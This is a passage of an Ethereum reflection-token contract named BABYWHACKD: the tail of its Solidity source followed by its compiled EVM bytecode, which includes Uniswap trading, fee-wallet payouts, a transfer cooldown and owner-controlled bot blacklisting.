tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101235760003560e01c80638da5cb5b116100a0578063c3c8cd8011610064578063c3c8cd80146106d2578063c9567bf9146106e9578063d28d885214610700578063d543dbeb14610790578063dd62ed3e146107cb5761012a565b80638da5cb5b1461043b57806395d89b411461047c578063a9059cbb1461050c578063b09f12661461057d578063b515566a1461060d5761012a565b8063313ce567116100e7578063313ce5671461033d5780635932ead11461036b5780636fc3eaec146103a857806370a08231146103bf578063715018a6146104245761012a565b806306fdde031461012f578063095ea7b3146101bf57806318160ddd1461023057806323b872dd1461025b578063273123b7146102ec5761012a565b3661012a57005b600080fd5b34801561013b57600080fd5b50610144610850565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610184578082015181840152602081019050610169565b50505050905090810190601f1680156101b15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101cb57600080fd5b50610218600480360360408110156101e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061088d565b60405180821515815260200191505060405180910390f35b34801561023c57600080fd5b506102456108ab565b6040518082815260200191505060405180910390f35b34801561026757600080fd5b506102d46004803603606081101561027e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108bc565b60405180821515815260200191505060405180910390f35b3480156102f857600080fd5b5061033b6004803603602081101561030f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610995565b005b34801561034957600080fd5b50610352610ab8565b604051808260ff16815260200191505060405180910390f35b34801561037757600080fd5b506103a66004803603602081101561038e57600080fd5b81019080803515159060200190929190505050610ac1565b005b3480156103b457600080fd5b506103bd610ba6565b005b3480156103cb57600080fd5b5061040e600480360360208110156103e257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c18565b6040518082815260200191505060405180910390f35b34801561043057600080fd5b50610439610d03565b005b34801561044757600080fd5b50610450610e89565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048857600080fd5b50610491610eb2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104d15780820151818401526020810190506104b6565b50505050905090810190601f1680156104fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561051857600080fd5b506105656004803603604081101561052f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610eef565b60405180821515815260200191505060405180910390f35b34801561058957600080fd5b50610592610f0d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105d25780820151818401526020810190506105b7565b50505050905090810190601f1680156105ff5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561061957600080fd5b506106d06004803603602081101561063057600080fd5b810190808035906020019064010000000081111561064d57600080fd5b82018360208201111561065f57600080fd5b8035906020019184602083028401116401000000008311171561068157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610f46565b005b3480156106de57600080fd5b506106e7611096565b005b3480156106f557600080fd5b506106fe611110565b005b34801561070c57600080fd5b5061071561178d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561075557808201518184015260208101905061073a565b50505050905090810190601f1680156107825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561079c57600080fd5b506107c9600480360360208110156107b357600080fd5b81019080803590602001909291905050506117c6565b005b3480156107d757600080fd5b5061083a600480360360408110156107ee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611975565b6040518082815260200191505060405180910390f35b60606040518060400160405280600a81526020017f42414259574841434b4400000000000000000000000000000000000000000000815250905090565b60006108a161089a6119fc565b8484611a04565b6001905092915050565b6000683635c9adc5dea00000905090565b60006108c9848484611bfb565b61098a846108d56119fc565b61098585604051806060016040528060288152602001613ee860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061093b6119fc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245a9092919063ffffffff16565b611a04565b600190509392505050565b61099d6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a5d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610ac96119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b89576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610be76119fc565b73ffffffffffffffffffffffffffffffffffffffff1614610c0757600080fd5b6000479050610c158161251a565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610cb357600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610cfe565b610cfb600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612615565b90505b919050565b610d0b6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f424259574841434b440000000000000000000000000000000000000000000000815250905090565b6000610f03610efc6119fc565b8484611bfb565b6001905092915050565b6040518060400160405280600981526020017f424259574841434b44000000000000000000000000000000000000000000000081525081565b610f4e6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461100e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b81518110156110925760016007600084848151811061102c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611011565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110d76119fc565b73ffffffffffffffffffffffffffffffffffffffff16146110f757600080fd5b600061110230610c18565b905061110d81612699565b50565b6111186119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff161561125b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506112eb30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611a04565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561133157600080fd5b505afa158015611345573d6000803e3d6000fd5b505050506040513d602081101561135b57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113ce57600080fd5b505afa1580156113e2573d6000803e3d6000fd5b505050506040513d60208110156113f857600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b15801561147257600080fd5b505af1158015611486573d6000803e3d6000fd5b505050506040513d602081101561149c57600080fd5b8101908080519060200190929190505050601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061153630610c18565b600080611541610e89565b426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b1580156115c657600080fd5b505af11580156115da573d6000803e3d6000fd5b50505050506040513d60608110156115f157600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050506001601360166101000a81548160ff0219169083151502179055506000601360176101000a81548160ff021916908315150217905550678ac7230489e800006014819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561174e57600080fd5b505af1158015611762573d6000803e3d6000fd5b505050506040513d602081101561177857600080fd5b81019080805190602001909291905050505050565b6040518060400160405280600a81526020017f42414259574841434b440000000000000000000000000000000000000000000081525081565b6117ce6119fc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461188e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008111611904576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416d6f756e74206d7573742062652067726561746572207468616e203000000081525060200191505060405180910390fd5b611933606461192583683635c9adc5dea0000061298390919063ffffffff16565b612a0990919063ffffffff16565b6014819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6014546040518082815260200191505060405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180613f5e6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180613ea56022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611c81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180613f396025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180613e586023913960400191505060405180910390fd5b60008111611d60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526029815260200180613f106029913960400191505060405180910390fd5b611d68610e89565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611dd65750611da6610e89565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561239757601360179054906101000a900460ff161561203c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e5857503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611eb25750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611f0c5750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561203b57601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611f526119fc565b73ffffffffffffffffffffffffffffffffffffffff161480611fc85750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611fb06119fc565b73ffffffffffffffffffffffffffffffffffffffff16145b61203a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f4552523a20556e6973776170206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b5b5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461212c5760145481111561207e57600080fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156121225750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61212b57600080fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121d75750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561222d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156122455750601360179054906101000a900460ff165b156122dd5742600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061229557600080fd5b601e4201600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006122e830610c18565b9050601360159054906101000a900460ff161580156123555750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561236d5750601360169054906101000a900460ff165b156123955761237b81612699565b60004790506000811115612393576123924761251a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061243e5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561244857600090505b61245484848484612a53565b50505050565b6000838311158290612507576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124cc5780820151818401526020810190506124b1565b50505050905090810190601f1680156124f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61256a600284612a0990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612595573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6125e6600284612a0990919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612611573d6000803e3d6000fd5b5050565b6000600a54821115612672576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180613e7b602a913960400191505060405180910390fd5b600061267c612caa565b90506126918184612a0990919063ffffffff16565b915050919050565b6001601360156101000a81548160ff0219169083151502179055506060600267ffffffffffffffff811180156126ce57600080fd5b506040519080825280602002602001820160405280156126fd5781602001602082028036833780820191505090505b509050308160008151811061270e57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156127b057600080fd5b505afa1580156127c4573d6000803e3d6000fd5b505050506040513d60208110156127da57600080fd5b8101908080519060200190929190505050816001815181106127f857fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061285f30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a04565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612923578082015181840152602081019050612908565b505050509050019650505050505050600060405180830381600087803b15801561294c57600080fd5b505af1158015612960573d6000803e3d6000fd5b50505050506000601360156101000a81548160ff02191690831515021790555050565b6000808314156129965760009050612a03565b60008284029050828482816129a757fe5b04146129fe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180613ec76021913960400191505060405180910390fd5b809150505b92915050565b6000612a4b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612cd5565b905092915050565b80612a6157612a60612d9b565b5b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612b045750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612b1957612b14848484612dde565b612c96565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612bbc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bd157612bcc84848461303e565b612c95565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612c735750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612c8857612c8384848461329e565b612c94565b612c93848484613593565b5b5b5b80612ca457612ca361375e565b5b50505050565b6000806000612cb7613772565b91509150612cce8183612a0990919063ffffffff16565b9250505090565b60008083118290612d81576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612d46578082015181840152602081019050612d2b565b50505050905090810190601f168015612d735780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612d8d57fe5b049050809150509392505050565b6000600c54148015612daf57506000600d54145b15612db957612ddc565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612df087613a1f565b955095509550955095509550612e4e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ee386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f7885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612fc481613b59565b612fce8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061305087613a1f565b9550955095509550955095506130ae86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061314383600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131d885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322481613b59565b61322e8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806132b087613a1f565b95509550955095509550955061330e87600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133a386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343883600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061351981613b59565b6135238483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806135a587613a1f565b95509550955095509550955061360386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a8790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061369885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506136e481613b59565b6136ee8483613cfe565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b6009805490508110156139d4578260026000600984815481106137ac57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541180613893575081600360006009848154811061382b57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156138b157600a54683635c9adc5dea0000094509450505050613a1b565b61393a60026000600984815481106138c557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484613a8790919063ffffffff16565b92506139c5600360006009848154811061395057fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483613a8790919063ffffffff16565b9150808060010191505061378d565b506139f3683635c9adc5dea00000600a54612a0990919063ffffffff16565b821015613a1257600a54683635c9adc5dea00000935093505050613a1b565b81819350935050505b9091565b6000806000806000806000806000613a3c8a600c54600d54613d38565b9250925092506000613a4c612caa565b90506000806000613a5f8e878787613dce565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000613ac983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061245a565b905092915050565b600080828401905083811015613b4f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000613b63612caa565b90506000613b7a828461298390919063ffffffff16565b9050613bce81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613cf957613cb583600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613ad190919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613d1382600a54613a8790919063ffffffff16565b600a81905550613d2e81600b54613ad190919063ffffffff16565b600b819055505050565b600080600080613d646064613d56888a61298390919063ffffffff16565b612a0990919063ffffffff16565b90506000613d8e6064613d80888b61298390919063ffffffff16565b612a0990919063ffffffff16565b90506000613db782613da9858c613a8790919063ffffffff16565b613a8790919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613de7858961298390919063ffffffff16565b90506000613dfe868961298390919063ffffffff16565b90506000613e15878961298390919063ffffffff16565b90506000613e3e82613e308587613a8790919063ffffffff16565b613a8790919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201f09aec3fb8a036ef0c4a8474ac3f0a456dab0104aeb398c0e67f0119b0e355064736f6c634300060c0033
